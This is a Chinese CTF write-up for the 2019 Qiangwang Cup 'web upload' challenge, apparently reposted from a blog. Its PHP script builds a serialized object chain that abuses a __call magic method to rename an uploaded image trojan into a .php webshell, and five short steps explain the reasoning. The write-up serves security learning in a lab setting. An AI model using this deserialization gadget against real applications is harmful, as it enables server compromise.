• 2019强网杯web upload writeup及关键思路


    <?php
    namespace appwebcontroller;

    class Profile
    {
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;

    }
    class Register
    {
        public $checker;
        public $registed;
    }
    $a = new Register();
    $a->registed = 0;
    $a->checker = new Profile();
    $a->checker->except = ['index'=>'upload_img'];
    $a->checker->filename_tmp = './upload/bc9c0f21801e3928b868149bfb65e408/fb5c81ed3a220004b71069645f112867.png';
    $a->checker->filename = './upload/bc9c0f21801e3928b868149bfb65e408/2.php';
    $a->checker->ext = 1;


    echo base64_encode(serialize($a));

    1、上传测试及目录扫描,上传无漏洞
    2、代码审计,考虑反序列化,但是上下文没有对反序列化字符串的直接调用,考虑利用魔法方法构造payload
    3、魔法方法无直接的命令执行,仅有__call有利用价值,但是无法传参进行命令执行
    4、结合上传特点,可以上传后缀名为jpg的马,考虑使用魔法方法调用函数将上传的木马重命名为php
    5、考虑绕过判断,直接调用函数upload_img(),并且重新命名恶意文件,基于此构造反序列化字符串

  • 相关阅读:
    数据库外键约束
    mysql查询数据
    操作mysql操作数据库
    自定义标签
    jstl标签
    getattibute 与 getparameter区别
    2017.3.2
    java中静态,抽象,接口,继承总结
    关于使用css伪类实现小图标
    动态生成的dom元素绑定事件
  • 原文地址:https://www.cnblogs.com/blili/p/10996671.html
Copyright © 2020-2023  润新知